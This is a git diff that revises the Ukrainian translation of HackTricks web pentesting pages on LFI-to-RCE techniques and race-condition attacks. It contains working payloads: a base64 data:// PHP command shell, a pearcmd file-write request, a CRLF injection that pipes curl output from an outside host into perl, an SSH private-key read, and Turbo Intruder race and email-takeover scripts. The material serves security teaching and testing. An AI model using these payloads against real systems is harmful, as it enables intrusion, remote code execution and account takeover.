+Завантажте ZIP-файл, що містить стиснутий PHP shell, і отримайте доступ:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@@ -545,32 +544,32 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
```
login=1&user=&pass=password&lang=en_us.php
```
-Використайте LFI, щоб включити файл сесії PHP.
+Використайте LFI, щоб включити PHP-файл сесії
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Через ssh
-Якщо ssh активний — перевірте, який user використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\/.ssh/id_rsa**
+Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) та спробуйте отримати доступ до **\/.ssh/id_rsa**
-### **Через** **vsftpd** _**логи**_
+### **Через** **vsftpd** _**logs**_
-Логи FTP-сервера vsftpd знаходяться в _**/var/log/vsftpd.log**_. У випадку, якщо є Local File Inclusion (LFI) вразливість і доступ до відкритого vsftpd сервера можливий, можна розглянути такі кроки:
+Логи FTP-сервера vsftpd знаходяться в _**/var/log/vsftpd.log**_. У випадку, якщо існує вразливість Local File Inclusion (LFI) і є доступ до відкритого vsftpd сервера, можна розглянути наступні кроки:
-1. Інжектуйте PHP payload в поле username під час процесу входу.
-2. Після інжекції використайте LFI, щоб витягти логи сервера з _**/var/log/vsftpd.log**_.
+1. Інжектуйте PHP payload у поле username під час процесу входу.
+2. Після інжекції використайте LFI, щоб отримати логи сервера з _**/var/log/vsftpd.log**_.
-### Через php base64 filter (з використанням base64)
+### Через php base64 filter (using base64)
-Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter просто ігнорує Non-base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви подасте base64, що закінчується на ".php", він просто ігноруватиме "." і додаватиме "php" до base64. Ось приклад payload:
+Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, PHP base64 filter просто ігнорує символи, що не є base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви передасте base64, який закінчується на ".php", він просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is ""
```
-### Через php filters (файл не потрібен)
+### Через php filters (no file needed)
-This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters to generate arbitrary content** як вивід. Це фактично означає, що ви можете **generate arbitrary php code** для include **without needing to write** його у файл.
+Цей [**розбір**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters to generate arbitrary content** як вихід. Це по суті означає, що ви можете **generate arbitrary php code** для include **без необхідності записувати** його у файл.
{{#ref}}
@@ -579,14 +578,14 @@ lfi2rce-via-php-filters.md
### Через segmentation fault
-**Upload** файл, який буде збережений як **temporary** в `/tmp`, потім в **same request,** спричиніть **segmentation fault**, після чого **temporary file won't be deleted** і ви зможете його знайти.
+**Завантажте** файл, який буде збережено як **тимчасовий** у `/tmp`, потім у **тому ж запиті** викличте **segmentation fault**, і тоді **тимчасовий файл не буде видалено** і ви зможете його знайти.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
-### Через Nginx temp file storage
+### Через збереження тимчасових файлів Nginx
Якщо ви знайшли **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:
@@ -597,16 +596,16 @@ lfi2rce-via-nginx-temp-files.md
### Через PHP_SESSION_UPLOAD_PROGRESS
-Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **don't have a session** і `session.auto_start` встановлено в `Off`. Якщо ви вкажете **`PHP_SESSION_UPLOAD_PROGRESS`** в **multipart POST** даних, PHP **enable the session for you**. Ви можете зловживати цим, щоб отримати RCE:
+Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **немає сесії** і `session.auto_start` встановлено в `Off`. Якщо ви передасте **`PHP_SESSION_UPLOAD_PROGRESS`** в **multipart POST** даних, PHP **увімкне сесію за вас**. Ви можете зловживати цим, щоб отримати RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
-### Через temp file uploads in Windows
+### Через завантаження тимчасових файлів у Windows
-Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, ви можете отримати RCE:
+Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, можливо, ви зможете отримати RCE:
{{#ref}}
@@ -615,13 +614,13 @@ lfi2rce-via-temp-file-uploads.md
### Через `pearcmd.php` + URL args
-As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням в php docker images. Більше того, можливо передавати аргументи скрипту через URL, оскільки зазначено, що якщо URL параметр не має `=`, він має використовуватися як аргумент. Див. також [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) і [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
+Як [**пояснено в цьому дописі**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker images. Більше того, можна передавати аргументи скрипту через URL, бо вказано, що якщо URL-параметр не має `=`, він має використовуватися як аргумент. Див. також [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) і [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
-The following request create a file in `/tmp/hello.php` with the content `=phpinfo()?>`:
+Наступний запит створює файл у `/tmp/hello.php` з вмістом `=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
-Наведено приклад зловживання CRLF vuln для отримання RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+Наведене зловживає CRLF vuln, щоб отримати RCE (з [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@@ -630,7 +629,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Через phpinfo() (file_uploads = on)
-Якщо ви знайшли **Local File Inclusion** і файл, який показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
+Якщо ви знайшли **Local File Inclusion** і файл, що показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
{{#ref}}
@@ -639,7 +638,7 @@ lfi2rce-via-phpinfo.md
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
-Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл для включення має PHP-маркування**, ви можете спробувати **bypass that check** за допомогою цієї **Race Condition**:
+Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл, що буде включений, має PHP marks**, ви можете спробувати **обійти цю перевірку** за допомогою цієї **Race Condition**:
{{#ref}}
@@ -648,7 +647,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Через eternal waiting + bruteforce
-Якщо ви можете зловживати LFI, щоб **завантажувати тимчасові файли** і змусити сервер **повісити** виконання PHP, ви потім можете **brute force filenames during hours**, щоб знайти тимчасовий файл:
+Якщо ви можете зловживати LFI для **upload temporary files** і змусити сервер **hang** виконання PHP, ви тоді могли б **brute force імена файлів протягом годин**, щоб знайти тимчасовий файл:
{{#ref}}
@@ -657,10 +656,10 @@ lfi2rce-via-eternal-waiting.md
### До Fatal Error
-Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий файл двічі, щоб викликати цю помилку).
+Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий файл 2 рази, щоб викликати цю помилку).
-**Я не знаю, наскільки це корисно, але можливо, що може бути.**\
-_Навіть якщо ви спричините PHP Fatal Error, тимчасові PHP-файли, які були завантажені, видаляються._
+**Я не знаю, наскільки це корисно, але можливо.**\
+_Навіть якщо ви спричините PHP Fatal Error, тимчасові PHP-файли, що були завантажені, видаляються._
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index 4e5767a85..35abb0b8b 100644
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -3,56 +3,56 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
-> Для глибокого розуміння цієї техніки ознайомтеся з оригінальним звітом у [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
+> Щоб отримати глибоке розуміння цієї техніки, перегляньте оригінальний звіт за адресою [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
-## Покращення атак Race Condition
+## Посилення атак Race Condition
-Головна перешкода для використання race conditions — забезпечити обробку кількох запитів одночасно, з дуже малою різницею в часі обробки — ідеально менше ніж 1ms.
+Головна перешкода в реалізації race condition — це забезпечити обробку кількох запитів одночасно з дуже малою різницею в часі обробки — ідеально менше 1ms.
-Тут наведено деякі методи синхронізації запитів:
+Тут наведено кілька технік для синхронізації запитів:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
-- **HTTP/2**: Підтримує надсилання двох запитів по одному TCP-з’єднанню, що зменшує вплив мережевого jitter. Однак через варіації на серверній стороні двох запитів може бути недостатньо для стабільного експлойту race condition.
-- **HTTP/1.1 'Last-Byte Sync'**: Дозволяє попередньо відправити більшу частину 20–30 запитів, утримуючи невеликий фрагмент, який потім надсилається разом, досягаючи одночасного прибуття на сервер.
+- **HTTP/2**: Дозволяє відправляти два запити по одному TCP-з'єднанню, зменшуючи вплив мерехтіння мережі. Однак через варіації на стороні сервера двох запитів може бути недостатньо для стабільної експлуатації race condition.
+- **HTTP/1.1 'Last-Byte Sync'**: Дає змогу попередньо відправити більшість частин 20–30 запитів, утримуючи невеликий фрагмент, який потім відправляється разом, забезпечуючи одночасне надходження на сервер.
-Підготовка до Last-Byte Sync включає:
+Підготовка для Last-Byte Sync включає:
-1. Надіслати headers і body data за винятком останнього байта, не закриваючи stream.
-2. Почекати ~100ms після початкової відправки.
-3. Вимкнути TCP_NODELAY, щоб використати Nagle's algorithm для батьчингу фінальних фреймів.
-4. Виконати ping для "прогрівання" з'єднання.
+1. Відправлення заголовків і тіла без останнього байта без завершення потоку.
+2. Пауза на ~100ms після початкової відправки.
+3. Вимкнення TCP_NODELAY для використання алгоритму Nagle для пакетування останніх фреймів.
+4. Пінгування для «прогріву» з'єднання.
-Подальша відправка утримуваних фреймів має призвести до їхнього прибуття в одному пакеті, що можна перевірити через Wireshark. Цей метод не застосовується до статичних файлів, які зазвичай не залучені в RC-атаках.
+Подальша відправка утримуваних фреймів має призвести до їхнього надходження в одному пакеті — це можна перевірити у Wireshark. Цей метод не застосовується до статичних файлів, які зазвичай не залучені в RC attacks.
### Адаптація до архітектури сервера
-Розуміння архітектури цілі є критично важливим. Front-end servers можуть маршрутизувати запити по-різному, що впливає на таймінги. Попереднє прогрівання з'єднань на серверній стороні за допомогою неістотних запитів може нормалізувати час обробки запитів.
+Розуміння архітектури цілі критично важливе. Front-end servers можуть маршрутизувати запити по-різному, що впливає на таймінг. Попереднє «прогрівання» з'єднання на стороні сервера за допомогою незначних запитів може нормалізувати час обробки запитів.
-#### Робота з блокуванням на основі сесій
+#### Обробка блокування на основі сесій
Фреймворки, як-от PHP's session handler, серіалізують запити за сесією, що може приховувати вразливості. Використання різних session tokens для кожного запиту може обійти цю проблему.
#### Подолання обмежень швидкості або ресурсів
-Якщо прогрівання з’єднання не ефективне, штучне викликання затримок через ліміти швидкості або ресурсів веб-сервера (флуд допоміжних запитів) може сприяти single-packet attack, індукуючи серверну затримку, сприятливу для race conditions.
+Якщо прогрівання з'єднань неефективне, навмисне викликання затримок через обмеження швидкості або ресурсів веб-серверів шляхом потоку фіктивних запитів може сприяти single-packet attack, індукуючи на стороні сервера затримку, сприятливу для race conditions.
## Приклади атак
-- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Ви можете надіслати запит у **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), у запиті змінити значення, яке хочете перебрати для **`%s`**, наприклад `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, а потім вибрати **`examples/race-single-packer-attack.py`** у випадаючому списку:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Ви можете надіслати запит у Turbo intruder (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), змінити в запиті значення, яке хочете brute force для **`%s`**, як у `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, а потім вибрати **`examples/race-single-packer-attack.py`** із випадаючого списку:
-Якщо ви збираєтеся відправляти різні значення, ви можете модифікувати код цим прикладом, який використовує wordlist із буфера обміну:
+Якщо ви збираєтеся відправляти різні значення, можна змінити код цим варіантом, який використовує wordlist з буфера обміну:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
-> Якщо веб не підтримує HTTP2 (тільки HTTP1.1), використовуйте `Engine.THREADED` або `Engine.BURP` замість `Engine.BURP2`.
+> Якщо веб-сайт не підтримує HTTP2 (лише HTTP1.1), використовуйте `Engine.THREADED` або `Engine.BURP` замість `Engine.BURP2`.
-- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: У випадку, якщо потрібно відправити request до 1 endpoint, а потім кілька до інших endpoint-ів, щоб викликати RCE, ви можете змінити скрипт `race-single-packet-attack.py` на щось на кшталт:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: У випадку, якщо потрібно відправити запит до 1 endpoint, а потім кілька запитів до інших endpoint'ів, щоб викликати RCE, ви можете змінити скрипт `race-single-packet-attack.py` на щось на кшталт:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
-- Це також доступно в **Repeater** через нову опцію '**Send group in parallel**' у Burp Suite.
-- Для **limit-overrun** ви можете просто додати **той самий запит 50 разів** до групи.
+- Також доступно в **Repeater** через нову опцію '**Send group in parallel**' у Burp Suite.
+- Для **limit-overrun** ви можете просто додати в групу **той самий запит 50 разів**.
- Для **connection warming** ви можете **додати** на **початку** **групи** кілька **запитів** до якоїсь нестатичної частини веб-сервера.
-- Для **delaying** процесу **між** обробкою **одного запиту та іншого** у 2 substates steps, ви можете **додати додаткові запити між** обома запитами.
-- Для **multi-endpoint** RC ви можете почати надсилати **запит**, що **переходить у прихований стан**, а потім відправити **50 запитів** одразу після нього, які **експлуатують прихований стан**.
+- Для **delaying** процесу **між** обробкою **одного запиту і іншого** у двоетапному процесі ви можете **додати додаткові запити між** обома запитами.
+- Для **multi-endpoint** RC ви можете почати надсилати **запит**, який **попадає в прихований стан**, а потім **50 запитів** одразу після нього, які **експлуатують прихований стан**.
-- **Automated python script**: Мета цього скрипта — змінити email користувача, постійно перевіряючи його, поки токен підтвердження нового email не надійде на останню електронну адресу (це тому, що в коді спостерігалася RC, в якій було можливо змінити email, але верифікація відправлялася на стару адресу, бо змінна, що вказує email, вже була заповнена першою).\
-Коли в отриманих листах знайдено слово "objetivo", ми знаємо, що отримали токен підтвердження зміненого email і припиняємо атаку.
+- **Автоматизований python-скрипт**: Мета цього скрипта — змінити email користувача, постійно перевіряючи його, поки токен підтвердження нового email не надійде на останню пошту (це сталося через те, що в коді виявлявся RC, де можна було змінити email, але підтвердження відправлялося на старий, бо змінна, яка вказує email, вже була заповнена першим).\
+Коли в отриманих email знаходиться слово "objetivo", ми знаємо, що отримали токен підтвердження зміненого email і завершимо атаку.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@@ -217,21 +217,29 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
-### Покращення Single Packet Attack
+#### Turbo Intruder: engine and gating notes
-У первісному дослідженні пояснюється, що ця атака має ліміт 1,500 байт. Однак у [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) показано, як можна розширити обмеження в 1,500 байт single packet attack до **65,535 B window limitation of TCP by using IP layer fragmentation** (розбиттям одного пакета на кілька IP-пакетів) і відправляти їх у різному порядку, що перешкоджає збиранню пакета, поки всі фрагменти не дійдуть до сервера. Ця техніка дозволила досліднику надіслати 10,000 запитів приблизно за 166ms.
+- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the single‑packet attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 last‑byte sync.
+- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
+- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
+- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames.
-Зауважте, що хоча це покращення робить атаку більш надійною в RC, яка вимагає сотень/тисяч пакетів, що прибувають одночасно, воно також може стикатися з програмними обмеженнями. Деякі популярні HTTP-сервери, як Apache, Nginx і Go, мають суворе налаштування `SETTINGS_MAX_CONCURRENT_STREAMS` значенням 100, 128 і 250 відповідно. Однак інші, як NodeJS і nghttp2, мають це без обмежень.\
-Це фактично означає, що Apache розглядатиме лише 100 HTTP-з’єднань з однієї TCP-з’єднання (обмежуючи цю RC-атаку).
-Деякі приклади використання цієї техніки можна знайти в репозиторії [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
+### Improving Single Packet Attack
+
+У первинному дослідженні пояснюється, що ця атака має обмеження в 1,500 байт. Проте, в [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), було пояснено, як можна розширити обмеження в 1,500 байт single packet attack до **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) і відправляти їх у різному порядку, що дозволяє запобігти збиранню пакета, поки всі фрагменти не дістались до сервера. Ця техніка дозволила досліднику відправити 10,000 запитів приблизно за 166ms.
+
+Зверніть увагу, що хоча це покращення робить атаку більш надійною в RC, яка вимагає сотень/тисяч пакетів дістатися одночасно, воно також може мати програмні обмеження. Деякі популярні HTTP-сервери, такі як Apache, Nginx і Go, мають суворе налаштування `SETTINGS_MAX_CONCURRENT_STREAMS` на 100, 128 і 250 відповідно. Проте інші, як NodeJS і nghttp2, мають його необмеженим.\
+Це фактично означає, що Apache розглядатиме лише 100 HTTP-з'єднань з одного TCP-з'єднання (обмежуючи цю RC-атаку).
+
+Приклади використання цієї техніки можна знайти в репозиторії [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Raw BF
-До попереднього дослідження використовувалися payloadи, які просто намагалися відправляти пакети якнайшвидше, щоб спричинити RC.
+Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
-- **Repeater:** Перевірте приклади з попереднього розділу.
-- **Intruder**: Надішліть **request** до **Intruder**, встановіть **number of threads** на **30** у меню **Options**, виберіть як payload **Null payloads** і згенеруйте **30**.
+- **Repeater:** Перегляньте приклади з попереднього розділу.
+- **Intruder**: Відправте **request** до **Intruder**, встановіть **number of threads** на **30** в меню **Options**, виберіть як payload **Null payloads** і згенеруйте **30.**
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@@ -283,71 +291,71 @@ asyncio.run(main())
### Перевищення ліміту / TOCTOU
-Це найпростіший тип race condition, коли вразливості **з’являються** у місцях, що **обмежують кількість разів, коли ви можете виконати дію**. Наприклад, використання одного й того ж знижкового коду у веб-магазині кілька разів. Дуже простий приклад можна знайти в [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) або в [**this bug**](https://hackerone.com/reports/759247)**.**
+Це найпростіший тип race condition, де **vulnerabilities** з'являються у місцях, які **обмежують кількість разів, коли ви можете виконати дію**. Наприклад, використання одного й того ж промокоду у веб-магазині кілька разів. Дуже простий приклад можна знайти в [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) або в [**this bug**](https://hackerone.com/reports/759247)**.**
Існує багато варіацій такого типу атаки, зокрема:
-- Використання подарункової карти кілька разів
+- Повторне використання подарункової картки кілька разів
- Оцінювання продукту кілька разів
-- Зняття або переказ коштів понад баланс рахунку
-- Повторне використання одного й того ж CAPTCHA рішення
-- Обхід anti-brute-force rate limit
+- Зняття або переказ коштів понад залишок на рахунку
+- Повторне використання одного рішення CAPTCHA
+- Обхід обмеження швидкості (rate limit), що захищає від brute-force
### **Приховані підстани**
-Експлуатація складних race conditions часто включає використання коротких вікон можливостей для взаємодії з прихованими або **непередбаченими підстанами машини**. Ось як підходити до цього:
+Експлуатація складних race conditions часто передбачає використання коротких можливостей для взаємодії з прихованими або **непередбаченими підстанами машини**. Ось як до цього підходити:
-1. **Виявити потенційні приховані підстани**
-- Почніть з визначення endpoints, які змінюють або взаємодіють з критичними даними, такими як профілі користувачів або процеси скидання пароля. Зосередьтесь на:
-- **Storage**: Віддавайте перевагу endpoints, які маніпулюють стійкими даними на боці сервера над тими, що обробляють дані на клієнті.
-- **Action**: Шукайте операції, що змінюють існуючі дані — вони більш імовірно створюють експлойтабельні умови порівняно з операціями, що додають нові дані.
-- **Keying**: Успішні атаки зазвичай залежать від операцій, що використовують той самий ідентифікатор, напр., username або reset token.
-2. **Провести початкове зондування**
-- Перевіряйте виявлені endpoints за допомогою race condition атак, спостерігаючи за будь-якими відхиленнями від очікуваних результатів. Неочікувані відповіді або зміни в поведінці застосунку можуть свідчити про вразливість.
-3. **Демонструвати вразливість**
-- Зведіть атаку до мінімальної кількості запитів, необхідних для її експлуатації, часто це лише два запити. Цей крок може вимагати багато спроб або автоматизації через точність часу.
+1. **Виявлення потенційних прихованих підстан**
+- Почніть з виявлення endpoints, які змінюють або взаємодіють з критичними даними, такими як профілі користувачів або процеси скидання пароля. Звертайте увагу на:
+- **Storage**: Напрямляйтеся до endpoints, які маніпулюють серверними персистентними даними, а не тими, що обробляють дані на стороні клієнта.
+- **Action**: Шукайте операції, які змінюють існуючі дані — вони частіше створюють умови, що піддаються експлуатації, порівняно з операціями додавання нових даних.
+- **Keying**: Успішні атаки зазвичай включають операції, прив'язані до одного і того ж ідентифікатора, наприклад username або reset token.
+2. **Проведення початкового зондування**
+- Тестуйте виявлені endpoints за допомогою атак на race condition, спостерігаючи за будь-якими відхиленнями від очікуваної поведінки. Несподівані відповіді або зміни у поведінці застосунку можуть вказувати на вразливість.
+3. **Демонстрація вразливості**
+- Звузьте атаку до мінімальної кількості запитів, необхідних для експлуатації вразливості, часто це всього два запити. Цей крок може вимагати кількох спроб або автоматизації через точність таймінгу.
-### Атаки, чутливі до часу
+### Часочутливі атаки
-Точність у таймінгу запитів може виявити вразливості, особливо коли для security tokens використовують передбачувані методи, такі як timestamps. Наприклад, генерація password reset tokens на основі timestamps може дозволити ідентичні токени для одночасних запитів.
+Точність у таймінгу запитів може виявити вразливості, особливо коли для security tokens використовуються передбачувані методи, як-от timestamps. Наприклад, генерація password reset tokens на основі timestamps може дозволити отримати ідентичні tokens для одночасних запитів.
**Щоб експлуатувати:**
-- Використовуйте точний таймінг, наприклад single packet attack, щоб зробити одночасні password reset requests. Ідентичні tokens вказують на вразливість.
+- Використовуйте точний таймінг, наприклад single packet attack, щоб виконати одночасні password reset запити. Ідентичні tokens вказують на вразливість.
**Приклад:**
-- Запитайте два password reset tokens одночасно та порівняйте їх. Якщо tokens співпадають — це свідчить про помилку в генерації токенів.
+- Запитайте два password reset tokens одночасно і порівняйте їх. Якщо токени співпадають — це вказує на помилку в генерації токенів.
-**Спробуйте це в** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **.**
+**Перегляньте** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **щоб спробувати це.**
## Кейси прихованих підстан
-### Pay & add an Item
+### Оплатити та додати товар
-Перегляньте [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), щоб побачити, як **оплатити** у магазині та **додати додатковий** товар, за який **не доведеться платити**.
+Перегляньте [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) щоб побачити, як **оплатити** у магазині та **додати додатковий** товар, за який **не доведеться платити**.
-### Confirm other emails
+### Підтвердження інших email
-Ідея в тому, щоб **перевірити email-адресу та одночасно змінити її на іншу**, щоб з’ясувати, чи платформа підтверджує нову адресу.
+Ідея полягає в тому, щоб **підтвердити email-адресу і одночасно змінити її на іншу**, щоб з'ясувати, чи платформа підтверджує нову зміну.
-### Change email to 2 emails addresses Cookie based
+### Зміна email на 2 адреси на основі Cookie
-Згідно з [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab був уразливий до takeover таким чином, бо він міг **надіслати** **email verification token** однієї адреси на іншу адресу.
+Згідно з [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab була вразлива до takeover таким чином, бо могла **відправити email verification token одного email іншому email**.
-**Спробуйте це в** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **.**
+**Перегляньте** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **щоб спробувати це.**
-### Hidden Database states / Confirmation Bypass
+### Приховані стани бази даних / Обхід підтвердження
-Якщо для додавання інформації в базу даних використовуються 2 різні операції запису, існує короткий проміжок часу, коли записано лише перші дані. Наприклад, при створенні користувача username і password можуть бути записані, а потім записується token для підтвердження нового акаунта. Це означає, що протягом короткого часу token для підтвердження акаунта може бути null.
+Якщо для додавання інформації в **database** використовуються **2 різні записи**, існує невеликий проміжок часу, коли в базі даних записані **тільки перші дані**. Наприклад, при створенні користувача **username** і **password** можуть бути записані, а **потім token** для підтвердження новоствореного облікового запису записується пізніше. Це означає, що протягом невеликого проміжку часу **token для підтвердження облікового запису є null**.
-Тому реєстрація акаунта та відправка кількох запитів з порожнім token (`token=` або `token[]=` або будь-яка інша варіація) для миттєвого підтвердження акаунта може дозволити **підтвердити акаунт**, де ви не контролюєте email.
+Тому **реєстрація облікового запису та відправка кількох запитів з пустим token** (`token=` або `token[]=` або будь-який інший варіант) для негайного підтвердження може дозволити **підтвердити обліковий запис**, де ви не контролюєте email.
-**Спробуйте це в** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **.**
+**Перегляньте** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **щоб спробувати це.**
### Обхід 2FA
-Наступний псевдокод вразливий до race condition, бо протягом дуже короткого часу **2FA не застосовується**, поки створюється session:
+Наведений pseudo-code вразливий до race condition, тому що в дуже короткий проміжок часу **2FA не застосовується**, поки створюється session:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@@ -355,14 +363,14 @@ session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
-### OAuth2 вічна персистентність
+### OAuth2 eternal persistence
-There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
-So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \ wants to access you information, do you want to allow it?_"
+There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ці сервіси дозволяють створити application та автентифікувати користувачів, зареєстрованих у провайдера. Щоб це зробити, **клієнт** повинен **дозволити вашому додатку** доступ до частини їхніх даних всередині **OAUth provider**.\
+Отже, до цього моменту це просто звичайний вхід через google/linkedin/github..., де вам показують сторінку з повідомленням: _Application \ wants to access your information, do you want to allow it?_
#### Race Condition in `authorization_code`
-Проблема виникає, коли ви **погоджуєтесь** і автоматично надсилається **`authorization_code`** до зловмисного додатка. Далі цей додаток зловживає Race Condition у OAUth-провайдера, щоб згенерувати більше ніж один AT/RT (Authentication Token/Refresh Token) з `authorization_code` для вашого акаунта. По суті, він використовує те, що ви дозволили додатку доступ до ваших даних, щоб **створити кілька акаунтів**. Якщо ви припините дозволяти додатку доступ до своїх даних, одна пара AT/RT буде видалена, але інші все одно залишаться дійсними.
